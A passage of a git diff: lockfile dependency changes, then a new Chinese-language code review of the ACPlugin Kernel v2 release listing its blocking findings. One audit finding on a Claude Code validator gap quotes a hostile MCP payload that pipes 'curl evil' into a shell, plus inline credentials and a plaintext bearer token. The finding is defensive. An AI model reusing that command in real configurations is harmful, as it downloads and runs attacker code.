media-typer@1.1.1: {} + + merge-descriptors@2.0.0: {} + merge2@1.4.1: {} micromark-util-character@2.1.1: @@ -5185,14 +5549,16 @@ snapshots: braces: 3.0.3 picomatch: 2.3.2 - mimic-fn@2.1.0: {} + mime-db@1.54.0: {} + + mime-types@3.0.2: + dependencies: + mime-db: 1.54.0 minimatch@10.2.6: dependencies: brace-expansion: 5.0.9 - minipass@7.1.3: {} - minisearch@7.2.0: {} mitt@3.0.1: {} @@ -5207,11 +5573,21 @@ snapshots: natural-compare@1.4.0: {} + negotiator@1.0.0: {} + + object-assign@4.1.1: {} + + object-inspect@1.13.4: {} + obug@2.1.4: {} - onetime@5.1.2: + on-finished@2.4.1: + dependencies: + ee-first: 1.1.1 + + once@1.4.0: dependencies: - mimic-fn: 2.1.0 + wrappy: 1.0.2 oniguruma-to-es@3.1.1: dependencies: @@ -5228,18 +5604,6 @@ snapshots: type-check: 0.4.0 word-wrap: 1.2.5 - ora@5.4.1: - dependencies: - bl: 4.1.0 - chalk: 4.1.2 - cli-cursor: 3.1.0 - cli-spinners: 2.9.2 - is-interactive: 1.0.0 - is-unicode-supported: 0.1.0 - log-symbols: 4.1.0 - strip-ansi: 6.0.1 - wcwidth: 1.0.1 - outdent@0.5.0: {} p-filter@2.1.0: @@ -5272,14 +5636,13 @@ snapshots: package-manager-detector@1.8.0: {} + parseurl@1.3.3: {} + path-exists@4.0.0: {} path-key@3.1.1: {} - path-scurry@2.0.2: - dependencies: - lru-cache: 11.5.2 - minipass: 7.1.3 + path-to-regexp@8.4.2: {} path-type@4.0.0: {} @@ -5295,6 +5658,8 @@ snapshots: pify@4.0.1: {} + pkce-challenge@5.0.1: {} + postcss@8.5.25: dependencies: nanoid: 3.3.16 @@ -5309,6 +5674,11 @@ snapshots: property-information@7.2.0: {} + proxy-addr@2.0.7: + dependencies: + forwarded: 0.2.0 + ipaddr.js: 1.9.1 + publint@0.3.23: dependencies: '@publint/pack': 0.1.6 @@ -5320,12 +5690,26 @@ snapshots: punycode@2.3.1: {} + qs@6.15.3: + dependencies: + es-define-property: 1.0.1 + side-channel: 1.1.1 + quansync@0.2.11: {} quansync@1.0.0: {} queue-microtask@1.2.3: {} + range-parser@1.3.0: {} + + raw-body@3.0.2: + dependencies: + bytes: 3.1.2 + http-errors: 2.0.1 + iconv-lite: 0.7.3 + unpipe: 1.0.0 + read-yaml-file@1.1.0: dependencies: graceful-fs: 4.2.11 @@ -5333,12 +5717,6 @@ snapshots: pify: 4.0.1 strip-bom: 3.0.0 - readable-stream@3.6.2: - dependencies: - inherits: 2.0.4 - string_decoder: 1.3.0 - util-deprecate: 1.0.2 - readdirp@5.0.0: {} regex-recursion@6.0.2: @@ -5351,15 +5729,12 @@ snapshots: dependencies: regex-utilities: 2.3.0 + require-from-string@2.0.2: {} + resolve-from@5.0.0: {} resolve-pkg-maps@1.0.0: {} - restore-cursor@3.1.0: - dependencies: - onetime: 5.1.2 - signal-exit: 3.0.7 - reusify@1.1.0: {} rfdc@1.4.1: {} @@ -5443,6 +5818,16 @@ snapshots: '@rollup/rollup-win32-x64-msvc': 4.62.3 fsevents: 2.3.3 + router@2.2.0: + dependencies: + debug: 4.4.3 + depd: 2.0.0 + is-promise: 4.0.0 + parseurl: 1.3.3 + path-to-regexp: 8.4.2 + transitivePeerDependencies: + - supports-color + run-parallel@1.2.0: dependencies: queue-microtask: 1.2.3 @@ -5451,8 +5836,6 @@ snapshots: dependencies: mri: 1.2.0 - safe-buffer@5.2.1: {} - safer-buffer@2.1.2: {} saxes@6.0.0: @@ -5468,6 +5851,33 @@ snapshots: semver@7.8.5: {} + send@1.2.1: + dependencies: + debug: 4.4.3 + encodeurl: 2.0.0 + escape-html: 1.0.3 + etag: 1.8.1 + fresh: 2.0.0 + http-errors: 2.0.1 + mime-types: 3.0.2 + ms: 2.1.3 + on-finished: 2.4.1 + range-parser: 1.3.0 + statuses: 2.0.2 + transitivePeerDependencies: + - supports-color + + serve-static@2.2.1: + dependencies: + encodeurl: 2.0.0 + escape-html: 1.0.3 + parseurl: 1.3.3 + send: 1.2.1 + transitivePeerDependencies: + - supports-color + + setprototypeof@1.2.0: {} + shebang-command@2.0.0: dependencies: shebang-regex: 3.0.0 @@ -5485,9 +5895,35 @@ snapshots: '@shikijs/vscode-textmate': 10.0.2 '@types/hast': 3.0.5 - siginfo@2.0.0: {} + side-channel-list@1.0.1: + dependencies: + es-errors: 1.3.0 + object-inspect: 1.13.4 - signal-exit@3.0.7: {} + side-channel-map@1.0.1: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + object-inspect: 1.13.4 + + side-channel-weakmap@1.0.2: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + object-inspect: 1.13.4 + side-channel-map: 1.0.1 + + side-channel@1.1.1: + dependencies: + es-errors: 1.3.0 + object-inspect: 1.13.4 + side-channel-list: 1.0.1 + side-channel-map: 1.0.1 + side-channel-weakmap: 1.0.2 + + siginfo@2.0.0: {} signal-exit@4.1.0: {} @@ -5517,14 +5953,12 @@ snapshots: stackback@0.0.2: {} + statuses@2.0.2: {} + std-env@4.2.0: {} string-argv@0.3.2: {} - string_decoder@1.3.0: - dependencies: - safe-buffer: 5.2.1 - stringify-entities@4.0.4: dependencies: character-entities-html4: 2.1.0 @@ -5542,10 +5976,6 @@ snapshots: dependencies: copy-anything: 4.0.5 - supports-color@7.2.0: - dependencies: - has-flag: 4.0.0 - tabbable@6.5.0: {} term-size@2.2.1: {} @@ -5565,6 +5995,8 @@ snapshots: dependencies: is-number: 7.0.0 + toidentifier@1.0.1: {} + tree-kill@1.2.2: {} trim-lines@3.0.1: {} @@ -5631,6 +6063,12 @@ snapshots: dependencies: prelude-ls: 1.2.1 + type-is@2.1.0: + dependencies: + content-type: 2.1.0 + media-typer: 1.1.1 + mime-types: 3.0.2 + typedoc-plugin-markdown@4.12.0(typedoc@0.28.20(@typescript/typescript6@6.0.2)): dependencies: typedoc: 0.28.20(@typescript/typescript6@6.0.2) @@ -5720,14 +6158,16 @@ snapshots: universalify@0.1.2: {} + unpipe@1.0.0: {} + uri-js@4.4.1: dependencies: punycode: 2.3.1 - util-deprecate@1.0.2: {} - validate-npm-package-name@5.0.1: {} + vary@1.1.2: {} + verkit@0.3.2: {} vfile-message@4.0.3: @@ -5850,10 +6290,6 @@ snapshots: optionalDependencies: typescript: '@typescript/typescript6@6.0.2' - wcwidth@1.0.1: - dependencies: - defaults: 1.0.4 - which@2.0.2: dependencies: isexe: 2.0.0 @@ -5865,6 +6301,8 @@ snapshots: word-wrap@1.2.5: {} + wrappy@1.0.2: {} + xmlchars@2.2.0: {} yaml@2.9.0: {} @@ -5910,4 +6348,10 @@ snapshots: '@yuku-parser/binding-win32-arm64': 0.8.3 '@yuku-parser/binding-win32-x64': 0.8.3 + zod-to-json-schema@3.25.2(zod@4.4.3): + dependencies: + zod: 4.4.3 + + zod@4.4.3: {} + zwitch@2.0.4: {} diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml index 0459879..3ad5629 100644 --- a/pnpm-workspace.yaml +++ b/pnpm-workspace.yaml @@ -6,7 +6,7 @@ packages: catalog: '@typescript/native': npm:typescript@^7.0.2 '@types/node': ^20.19.0 - rolldown: ^1.2.2 + rolldown: 1.2.2 tsdown: ^0.22.14 vitest: ^4.1.10 diff --git a/review1.md b/review1.md new file mode 100644 index 0000000..634cfd7 --- /dev/null +++ b/review1.md @@ -0,0 +1,779 @@ +# ACPlugin Kernel v2 最终独立对抗式交叉 Review + +> 本轮 Review 完全独立执行,不默认任何既有方案、Review 或测试结论正确。所有结论以当前源码、类型契约、实际执行结果为准。 +> 标记 **[EXEC]** 的结论有可复现的执行证据;标记 **[READ]** 的结论由精确代码路径推导,未构造执行复现。 + +--- + +## 1. Executive Verdict + +**Final decision: `NOT_READY`** + +### 当前是否可交付 + +**不可交付,也不应触发 Patch workflow。** 阻断原因不是架构失败,而是九个各自独立、均可复现的 P1。其中三个是"扣动扳机即生效"的发布安全问题(Changesets 会把 beta 直接发布为稳定 `1.0.0`;版本 PR 必然自相矛盾;文档承诺的 CLI 选项不存在),四个是故障边界与安全边界问题(DevSession 两个不收敛路径、transaction lock 会永久楔死输出、伪 MCP 可冒充完整实现、Claude Code 最终校验存在 orphan `.mcp.json` 旁路),一个是测试可信度问题(唯一的 DevSession 测试未跟踪且 flaky)。 + +### 是否建议整体重写 + +**不建议。任何子系统都不需要重写。** + +独立验证证实目标架构已经落地: + +- Rolldown 的直接 import 只存在于 `packages/core/src/compiler/engine-loader.ts`;Chokidar 只存在于 `packages/core/src/kernel/dev-session.ts`;全仓无 `transpileModule`、无第二套 bundler、无构建后复制/重命名/patch。**[EXEC]** +- Core 确实是唯一 lifecycle、Module/Compiler/Execution、Watch、Asset、Package、Compatibility、Transaction、Report owner;CLI、`runProject()`、`Project.run()`、`Project.dev()` 全部汇聚到同一个 `runKernelBuildSession`。**[READ]** +- Node Runtime 是 Core Framework Resource(owner 固定 `framework:node-runtime`),不是 Extension 包;每个入口只编译一次,被所有声明能力的 Platform 继承同一 `GeneratedAssetRef`;不支持的 Platform 只产出 `unsupported` compatibility,不生成伪 Runtime。**[READ + EXEC]** +- Contributor 模型是真正的 add-only、owner-isolated、无顺序语义:merge 前按 owner 排序、extension point 独占 claim、路径冲突共享 collision domain、Built State 只按 Extension ID 配对且互不可见。**[READ]** +- Migration 全仓唯一入口是 `packages/acplugin/src/cli.ts:318` 的动态 `import()`,构建产物中是独立 chunk;`migration/legacy/**` 六个文件相对 HEAD 零改动,未被机械重写。**[EXEC]** +- 事务的崩溃恢复矩阵经逐窗口独立推演**正确**:不会暴露未 cleanup 的新输出,也不会错误删除上一份完整输出(详见 §5)。 + +需要局部重写的只有 **transaction lock 子协议**一处。其余全部是局部修复。 + +### 是否存在明显过度设计 + +**没有。** 全仓 Core 40 个源文件,无一个是死模块,无 single-implementation 工厂/接口,无未被调用的抽象层;配置和作者 API 只有 `defineConfig()` 一个 define helper,`/sdk` 只导出 4 个运行时函数 + 3 个序列化工具。相对 Nuxt/Vite 或 tsdown/Rolldown 多出的复杂度,几乎全部来自三个**真实**需求:第三方 Platform/Extension 包在作者构建期执行(capability 授权体系)、可恢复的整体输出替换(事务)、六个目标平台的 wire protocol 差异(compatibility + validator)。 + +可删除的复杂度只有三处小项(详见 §6)。 + +### 是否偏离初衷 + +**没有偏离。** 当前实现仍然是"Core 基于 Rolldown 提供开箱即用跨平台 Plugin 框架和 CLI",不是一次性脚手架,不存在第二生命周期。偏差集中在**故障边界收敛**与**发布安全**,而不是架构方向。 + +### Finding 计数 + +| 级别 | 数量 | +| --- | --- | +| P0 | 0 | +| P1 | 9 | +| P2 | 14 | +| P3 | 11 | + +--- + +## 2. Review Baseline + +### Git baseline + +| 项 | 值 | +| --- | --- | +| Branch | `beta_1_0`(与用户基线一致) | +| HEAD | `9086b37c21bcc700e163043abfb050f91242ffe9`(与用户基线一致) | +| 工作树 | 319 个变更条目:318 个 tracked(其中 19 个同时有 staged 与 unstaged 变化),1 个 untracked | +| 唯一 untracked 文件 | `packages/acplugin/test/dev-session.test.ts` | +| `LIFECYCLE_API_VERSION` | `packages/core/src/kernel-types.ts:8` = `'1' as const` ✅ 符合硬约束,并被三处测试锁定 | + +Review 范围为 `HEAD` → 完整工作树(staged + unstaged + untracked)。中立复现 fixture 位于 `.llmdoc-tmp/repros/`。 + +### Verification commands(本轮实际执行) + +| Command | 结果 | 备注 | +| --- | --- | --- | +| `pnpm run lint` | **PASS** | 含 195 文件中文注释守卫 | +| `pnpm run typecheck` | **PASS** | TypeScript 7 workspace typecheck | +| `pnpm run build` | **PASS** | 九个公开包 + Core 全部构建成功 | +| `pnpm run test` | **PASS(本次)/ 间歇性 FAIL** | 本次 288 tests 全过;`dev-session.test.ts` 5 次连跑出现 1 次失败,见 P1-9 | +| `pnpm run docs:check` | **PASS** | typedoc + vitepress + docs:verify + playground build/typecheck/verify | +| `pnpm run release:verify` | **PASS** | 九 tarball、ATTW、publint、clean consumer、init consumer | +| `git diff --check` | **PASS**(exit 0) | unstaged | +| `git diff --cached --check` | **FAIL(exit 2)** | 三处 `new blank line at EOF`,见 P3-3 | +| `pnpm exec changeset status` | **危险输出** | 九个公开包全部 `newVersion: 1.0.0`,见 P1-1 | + +**关键元结论:全部标准门禁通过,仍存在 9 个 P1。** 当前验证体系覆盖的是"正常路径",而九个 P1 中有 6 个位于故障路径、发布路径或第三方对抗路径,全部落在门禁盲区内。 + +--- + +## 3. Findings + +### P0 + +无。 + +### P1 + +--- + +#### P1-1 — Changesets 会把 beta 生态直接发布为稳定 `1.0.0` + +- **分类 / 置信度:** Release, Spec / **High** +- **证据:** `.changeset/initial-1-0-baseline.md:2-10`、`.changeset/kernel-v2-sdk-boundary.md:2-10`;`.changeset/` 中**不存在** `pre.json`;`.github/workflows/patch.yml:89` +- **当前行为 [EXEC]:** 两份 Changeset 均对九个公开包声明 `major`。`pnpm exec changeset status` 实际输出九个 release 全部 `oldVersion: 0.0.2-beta`(codex `0.0.3-beta`)→ `newVersion: "1.0.0"`。`semver.inc('0.0.2-beta','major') === '1.0.0'` 已验证。Patch workflow 只断言"至少一个 Changeset 会 bump 公开包",随后无条件执行 `pnpm version-packages`。 +- **为什么是真实故障:** 项目明确仍处 beta(`llmdoc/state/sync.md:23` 记录维护者要求保留 beta 版本)。`initial-1-0-baseline.md:13` 的正文本身写着"Promote … to the stable `1.0.0` release **after** its validation and real-world usage period"——这是一份**预先写好的晋升 Changeset 停留在可消费队列里**。任何一次正常手工 Patch workflow 都会创建错误的 release line,且没有任何门禁能区分"有意 GA"与"意外去 beta"。 +- **最小复现:** `pnpm exec changeset status --output /dev/stdout`,检查九个 release 的 `newVersion`。 +- **建议修改位置与最小修复:** 若继续 beta —— 在 dispatch Patch 前执行 `pnpm changeset pre enter beta`(产生 `.changeset/pre.json`),并把 `initial-1-0-baseline.md` 移出可消费目录;若确实要 GA —— 在 `packages/test/test/repository.test.ts` 增加对预期版本终态的显式断言,使去 beta 不可能静默发生。两种情况都应在 `patch.yml` 中拒绝未授权的 prerelease → stable 跃迁。 +- **是否需要架构决策:** **需要。** 必须确定 beta release line 与未来 stable promotion 的唯一机制。不影响九包独立版本模型。 +- **测试与 DoD:** workflow 等价环境下 `changeset status` 只产生预期 beta 版本;无显式 promotion 输入时任何 `0.0.x-beta → 1.0.0` 必须失败;真正 promotion 是单独、人工、可审计的一步。 + +--- + +#### P1-2 — Patch workflow 不刷新生态版本快照,版本 PR 必然自相矛盾 + +- **分类 / 置信度:** Release, Correctness / **High** +- **证据:** `packages/acplugin/src/ecosystem-versions.json:2-10`;`packages/acplugin/src/ecosystem-versions.ts:7,10-11`;`packages/acplugin/src/init.ts:61-66,181-193`;`packages/acplugin/src/migration/index.ts:1701-1707`;`scripts/verify-release.mjs:135-144`(断言在 `:143`);`.github/workflows/patch.yml:89,119-120` +- **当前行为 [READ + EXEC]:** `ecosystem-versions.json` 硬编码九个公开包版本,是 `init`、Migration 与 `release:verify` 的唯一真值源(已验证无第二处版本表)。`verify-release.mjs:143` 断言 `snapshot[name] === manifest.version`。Patch workflow 执行顺序是:`pnpm version-packages` → `pnpm install --lockfile-only` → `lint` → `typecheck` → 创建 PR。**没有任何一步重新生成快照,也不运行 `release:verify`。** +- **为什么是真实故障:** 每个版本 PR 都会同时携带新 manifests 和旧快照。后果有三:(a) 该 commit 自身的 `release:verify` 必然在 `verify-release.mjs:143` 失败;(b) `acplugin init` / `acplugin migrate` 会为已经发布到新版本的包生成旧版本依赖范围,脚手架工程直接装不上;(c) CLI `--version` 报告错误版本。当前 `release:verify` 通过只证明"版本写入之前"一致。 +- **最小复现:** 在隔离副本执行 `pnpm version-packages`,随后 `pnpm run release:verify` → 在 `:143` 失败。 +- **建议修改位置与最小修复:** 提供一个从九个 manifest 生成 `ecosystem-versions.json` 的脚本(约 10 行 Node),并把它接进 `package.json` 的 `version-packages` script 本身,使其不可被跳过;`patch.yml` 在 PR 前追加 `pnpm run release:verify`。 +- **是否需要架构决策:** 不需要。这是派生数据 ownership 与 workflow 顺序修复。 +- **测试与 DoD:** 独立 bump 后快照等于九个 manifest;`init`/Migration 生成新范围;peer rewrite、九 tarball、clean consumer 全通过,无手工补 JSON。 + +--- + +#### P1-3 — DevSession watcher reconciliation 失败会丢失 `build-complete` 并产生未处理拒绝 + +- **分类 / 置信度:** Correctness / **High** +- **证据:** `packages/core/src/kernel/dev-session.ts:211-214`(`void drain()`)、`:242-263`(`waitUntilWatched` 超时 throw)、`:267-313`(`updateWatcher`)、`:356-372`(`round`) +- **当前行为 [READ]:** + 1. `round()` 在 `:360` 先 `emit(build-start)`,随后 `:367` 调用 `await updateWatcher(...)`。 + 2. `updateWatcher` 在 `:274-280` **先**替换 `knownObservations` / `knownBuildPaths`,**之后**才在 `:306-311` 执行物理 `unwatch` / `add`;`unwatch` 未 await;`waitUntilWatched` 在 5 秒内路径未进入 `getWatched()` 时 `throw`(`:263`)。 + 3. 该 throw 跳过 `:369` 的 `current` 更新和 `:371` 的 `emit(build-complete)`,异常沿 `round → drain` 冒泡。 + 4. `requestDrain` 在 `:213` 用 `void drain()` 丢弃 Promise → Node 默认 `--unhandled-rejections=throw` 直接终止进程。 +- **为什么是真实故障:** 同时违反三条 DevSession 契约:start/complete 必须配对、失败轮必须可恢复、CLI 不得收到 unhandled rejection。触发路径真实存在——构建发现新依赖后、Chokidar ready 之前该文件被删除(常见于分支切换、`rm -rf node_modules/.cache`、包管理器重装)。 +- **最小复现:** 注入 `watcher.add` / `getWatched` / `unwatch` 失败,或在 `runRound()` 返回后、`waitUntilWatched()` 之前删除新增依赖;观察只有 sequence N 的 `build-start`,没有 `build-complete`。 +- **建议修改位置与最小修复:** `dev-session.ts:267-313` 改为"准备 → 物理应用 → 提交 snapshot"三段式;`await` `unwatch`;watcher 失败转为稳定 dev failure report 而非 throw;`round()` 用 `try/finally` 保证已发布的 start 必有 complete;`requestDrain` 的 `void drain()` 改为显式 `.catch()` 收敛。 +- **是否需要架构决策:** 不需要,既有事件与 graph 契约已足够明确。 +- **测试与 DoD:** 注入 add/unwatch/getWatched/timeout 四类失败;断言无 unhandled rejection、事件成对、last-good `dist` 不变、失败轮新依赖仍能触发恢复、恢复成功后 graph 原子替换。 + +--- + +#### P1-4 — active round 或 `watcher.close()` 失败会使 DevSession 永远无法 `closed` + +- **分类 / 置信度:** Correctness / **High** +- **证据:** `packages/core/src/kernel/dev-session.ts:166-183`(poller 创建于最前)、`:403-416`(watcher 初始化在 try 之外)、`:457-481`(`close()` 无 try/finally,`resolveClosed()` 仅在 `:478`);消费方 `packages/acplugin/src/cli.ts:186,215` +- **当前行为 [READ]:** `close()` 顺序执行 `await active` → `await watcher.close()` → `clearInterval(poller)` → `closed = true` → `emit(closed)` → `listeners.clear()` → `resolveClosed()`。前两个 `await` 中任一 reject,后面五步全部被跳过:poller 定时器不清、`closed` 事件不发、`resolveClosed()` 不调用。由于 `closeTask` 被记忆化(`:459-460`),并发 `close()` 复用同一个已 rejected 的 Promise,`session.closed` **永不 settle**。 +- **附带的同类缺陷:** `createDevSession` 的 poller 在 `:166` 创建,而 watcher 初始化在 `:403-416`(位于 `:418` 的 `try` **之外**)。若 watcher `ready` 事件 reject,异常直接逃出 `createDevSession`,poller 与半初始化的 watcher 双双泄漏,进程事件循环无法退出。 +- **为什么是真实故障:** CLI 的 SIGINT/SIGTERM 路径是 `void session?.close()`(`cli.ts:186`)+ `await session.closed`(`cli.ts:215`)。因此 (a) `close()` 的 rejection 被丢弃 → unhandled rejection;(b) `session.closed` 永挂 → **`acplugin dev` 按 Ctrl+C 后永远不退出**,且退出码不再是约定的 130。"closed 恰好一次"和"并发 close 共享终态"两条契约在故障路径上同时失效。 +- **最小复现:** mock `FSWatcher.close()` 返回 rejected Promise,或让 P1-3 的 active round reject 后并发调用两次 `close()`;`await session.closed` 永久挂起。 +- **建议修改位置与最小修复:** 把 timer 清理 / `closed = true` / `emit(closed)` / `listeners.clear()` / `resolveClosed()` 放进嵌套 `finally`,使终态无条件收敛;cleanup 错误仍可通过 rejected 的 `close()` 或脱敏诊断传播,但 **terminal signal 必须总是 settle**。同时把 `:403-416` 的 watcher 初始化纳入带 cleanup 的 try。 +- **是否需要架构决策:** 不需要;只需明确"close 可以 reject"与"closed 必须 settle"可同时成立。 +- **测试与 DoD:** active reject、`watcher.close` reject、并发 close、重复 signal、构造期 watcher 失败;断言 close identity、closed 恰好一次、事件顺序完整、无 timer/listener/watcher 泄漏、CLI 退出码正确且进程真正退出。 + +--- + +#### P1-5 — transaction lock 不是崩溃安全记录,会永久楔死受管输出 + +- **分类 / 置信度:** Correctness, Architecture / **High** +- **证据:** `packages/core/src/transaction.ts:429-459`(`acquireLock`)、`:622-631`(finally 中吞掉的 `rm`);现有覆盖只到 `packages/core/test/transaction-v2.test.ts:364`(完整 dead-PID lock) +- **当前行为 [EXEC]:** `acquireLock` 先 `fs.open(lockPath,'wx')`,**然后**才写入 PID JSON(`:432-433`)。二者之间崩溃、写入失败或被截断,会留下空 / 损坏的 lock 文件。下一次 `JSON.parse` 抛错后被 `:455` 的 catch 统一转成 `Managed output is locked.`,**不再走 dead-PID 恢复路径**。 + 执行复现(`.llmdoc-tmp/repros/transaction-empty-lock.test.ts`):预置一个空的 `.dist.acplugin.lock` 后调用 `commitPackageUnits()` → 稳定抛出 `Managed output is locked`,且空锁仍在。**只能人工删除辅助文件才能恢复。** +- **两个同源缺陷:** + 1. 首次 `writeFile` 失败时,`handle` 没有进入外层 finally,FileHandle 泄漏。 + 2. `:628` 的 `fs.rm(lockPath)` 失败被吞掉;此时 lock 中仍是**当前存活进程**的 PID,同一 DevSession 的下一轮构建会把自己遗留的过期锁当成 active writer,永久自锁。 +- **附加缺口:** lock record 只有 `{schemaVersion, pid}`,没有 boot id / start time / 随机 token。崩溃后 PID 被复用即误判为"仍在运行",同样只能人工清理。 +- **为什么是真实故障:** 一次合法崩溃或瞬时文件系统错误就能楔死受管输出,直接违反"lock 遗留和死进程恢复"契约。 +- **建议修改位置与最小修复:** `transaction.ts:429-459` 局部重写:先把唯一 owner record(含随机 token)完整 write + `sync` 到临时文件,再用 hard-link 等原子 no-replace 操作竞争正式 lock;维护当前进程的 active-token 集合,使同进程能识别自己 cleanup 失败的过期锁;为 malformed / legacy lock 定义安全的有限重试或隔离策略(**不能**在 parse 失败时无条件删除,会与旧 writer 的写窗口竞争)。 +- **是否需要架构决策:** **需要。** lock 是持久崩溃协议,必须确定 record 格式、PID reuse 策略、同进程 ownership 与 legacy 处理。 +- **测试与 DoD:** 空 / 截断 / 多余字段 / write / sync / link 故障注入;活 PID、死 PID、PID reuse、同进程 stale token;lock close / rm 失败。每个窗口最多一个 writer、上一份完整输出不丢、下一轮可自动恢复、无 handle 或辅助文件泄漏。 + +--- + +#### P1-6 — MCP stdio smoke 可被任意"打印两行 JSON"的程序通过 + +- **分类 / 置信度:** Correctness, Security / **High** +- **证据:** `packages/extensions/mcp/src/build.ts:60-90`,判定逻辑在 `:84`;契约来源 `AGENTS.md:91` +- **当前行为 [EXEC]:** smoke 确实发送了 `initialize` / `notifications/initialized` / `tools/list` 三条请求,但通过条件仅为:进程 exit 0,且 stdout 中存在 `id === 1` 与 `id === 2` 且各自 `result !== undefined` 的对象。**不检查** `jsonrpc: '2.0'`、不检查 error envelope、不检查 `initialize.result` 的 `protocolVersion` / `capabilities` / `serverInfo`、不检查 `tools/list` 的 `result.tools` 是否为数组,甚至不要求 server 读过 stdin。 + 执行复现(`.llmdoc-tmp/repros/mcp-fake-smoke/`):`server.ts` 全文为 + `process.stdout.write('{"id":1,"result":true}\n{"id":2,"result":true}\n')` + 通过公开 API 构建实际得到 `success=true`、`committed=true`、`diagnostics=[]`,且兼容性报告为 + `{"subject":"mcp:fake","capability":"transport.stdio","level":"native","platform":"claude-code"}`。 +- **为什么是真实故障:** 任何输出两行 JSON 的程序都会被认定为"完整本地 MCP 实现"并以 `native` 兼容性交付。真实 MCP 客户端连接时立即失败。直接违反 `AGENTS.md:91`"本地 stdio MCP 必须是完整实现,并通过真实 `initialize`/`tools/list` smoke"。 +- **建议修改位置与最小修复:** `build.ts:79-85` 严格校验 JSON-RPC 2.0 envelope(`jsonrpc` 字段、无 `error`、id 唯一且匹配)、`initialize.result` 必须含协商后的 `protocolVersion` + `capabilities` + `serverInfo`、`tools/list.result.tools` 必须是数组;拒绝 primitive result、重复 id 与协议外 stdout。 +- **是否需要架构决策:** 不需要,协议目标已明确。 +- **测试与 DoD:** fake two-line、缺 `jsonrpc`、error response、错误/重复 id、错误 `protocolVersion`、缺 `serverInfo`/`capabilities`、错误 tools 形状、timeout、超限输出全部失败;真实 fixture 在 dev/prod 均通过,且每个 server 只 bundle 与 smoke 一次。 + +--- + +#### P1-7 — Claude Code 最终校验存在 orphan `.mcp.json` 旁路,第三方 Extension 可投递任意 MCP wire + +- **分类 / 置信度:** Security, Correctness / **High** +- **证据:** `packages/platforms/claude-code/src/validator.ts:686-687`(仅在 manifest 引用时校验 MCP)与 `:696-697`(hooks **有** orphan fallback) +- **当前行为 [EXEC]:** 校验器对 hooks 有显式兜底: + ```js + if (manifest.hooks === undefined && assets.has('hooks/hooks.json')) + await validateHookFile(context, pluginRoot, './hooks/hooks.json', ['hooks']); + ``` + **但没有对应的 `.mcp.json` 兜底。** MCP 只在 `manifest.mcpServers` 显式引用该文件时才被校验(`:686-687`)。而 Claude Code 会自动加载 plugin 根目录的 `.mcp.json`,无需 manifest 字段。 + 用仅依赖公开 `@tokenroll/acplugin/sdk` 的第三方 Extension 投递**完全相同**的非法 payload: + - 经 `mcpServers` 引用 → **被拒绝**:`CLAUDE_MCP_FIELD_UNKNOWN: junk`、`CLAUDE_MCP_URL_INVALID`(内联 `user:pass@` 凭据)。 + - 作为 orphan(不设 manifest 字段,同一路径 `.mcp.json`)→ **`success=true`、`errors=0`**,包含 `/bin/sh -c "curl evil|sh"` 的 stdio server、`https://user:pass@evil.example/mcp`、`Authorization: "Bearer sk-PLAINTEXT-SECRET"`、未知字段 `junk:1` 原样写入 `dist/claude-code/plugin/.mcp.json`。 +- **可达条件(重要):** 官方 MCP Extension 启用且存在 server 时,它会设置 `mcpServers: "./.mcp.json"` 并占用该路径,此时 orphan 注入会因路径冲突 **fail closed**(已验证 playground 官方产物确实设置了该字段,官方路径安全)。旁路只在官方 MCP Extension 未启用或无 server 时可达——即 hooks-only / skills-only 工程,这是常见配置。 +- **为什么是真实故障:** Platform 最终 candidate validation 的全部意义就是作为第三方 Contributor 的最后一道闸门。同一份 payload 在引用路径被拒、在自动发现路径放行,这是校验器自身的结构性不对称。 +- **建议修改位置与最小修复:** `validator.ts:697` 之后镜像 hooks 兜底,加一行: + ```js + if (manifest.mcpServers === undefined && assets.has('.mcp.json')) + await validateMcpFile(context, pluginRoot, './.mcp.json', ['mcpServers']); + ``` +- **是否需要架构决策:** 不需要(本条修复)。但应顺带确立通则:**凡目标平台会自动发现的根文件,最终校验必须由"文件存在"驱动,而非由"manifest 引用"驱动**——Antigravity 已经是这个正确模型(`packages/platforms/antigravity/src/validator.ts:160-172`)。 +- **测试与 DoD:** 用最小第三方 Extension fixture,对每个平台分别投递 referenced 与 orphan 两种形态的非法 MCP/hooks wire,断言两者被同等拒绝;官方 Contributor 的合法输出继续通过。 + +--- + +#### P1-8 — `--strict` / `--no-strict` 是文档虚构的 CLI 契约 + +- **分类 / 置信度:** Spec, Correctness / **High** +- **证据:** `packages/acplugin/src/cli.ts:56-60`(`addProjectOptions()` 只注册 `--config`、`--platform`、`--mode`、`--json`);`ProjectCliOptions`(`cli.ts:20-29`)与 `ProjectRunOptions`(`packages/core/src/kernel-types.ts:979-984`)均无 `strict` 字段 +- **当前行为 [EXEC]:** + ``` + $ acplugin build --no-strict → error: unknown option '--no-strict' + $ acplugin validate --strict → error: unknown option '--strict' + ``` + `acplugin validate --help` 输出的选项确实只有四个。strictness 只能来自 `build.strict` 与 Platform 工厂的 `strict` 选项(`config-resolver.ts:468,497`)——**"CLI 覆盖层"整层不存在。** +- **文档中声明它存在的位置(build/validate/inspect 语境,均为错误):** `packages/docs/guide/cli.md:27`、`packages/docs/guide/build-and-validate.md:10`、`packages/docs/config/compatibility-and-strictness.md:26`(还编造了"CLI override → Platform override → `build.strict`"三级优先级)、`README.md:195,348`、`README.zh-CN.md:193,344`、`llmdoc/guides/usage.md:65`、`llmdoc/guides/usage.zh-CN.md:65`、`llmdoc/reference/conversion-matrix.md:19` 及其中文对照。 +- **注意(避免误修):** `migrate` 子命令**确实**有 `--strict`(`cli.ts:304`)。因此 `README.md:381`、`packages/docs/guide/cli.md:38`、`llmdoc/guides/usage.md:115`、`README.zh-CN.md:377` 中与 Migration 相关的 `--strict` 描述是**正确的**,不应删除。 +- **为什么是真实故障:** README 明确教用户"Codex + Agent 严格构建失败时用 `--no-strict`",照做直接得到 usage error(exit 2)。这是文档承诺的能力在产品上不存在。Playground 自身正是用 `build: { strict: false }` 绕过的(`packages/playground/acplugin.config.ts:79`),侧面印证 CLI 无此能力。 +- **建议修改位置与最小修复:** 二选一。(a) 从上述 8 处 build/validate 语境删除该选项,改为指向 `build.strict` 与 Platform 工厂 `strict`(后者确实存在,如 `packages/platforms/codex/src/types.ts:40`);(b) 在 `cli.ts:56-60` 与 `ProjectRunOptions` 真正实现该覆盖层。鉴于"CLI 不维护第二条构建路径"的既定原则与最小改动优先,推荐 (a)。 +- **是否需要架构决策:** 若选 (b) 需要——因为它会给 `ProjectRunOptions` 增加公开字段并引入优先级规则。选 (a) 不需要。 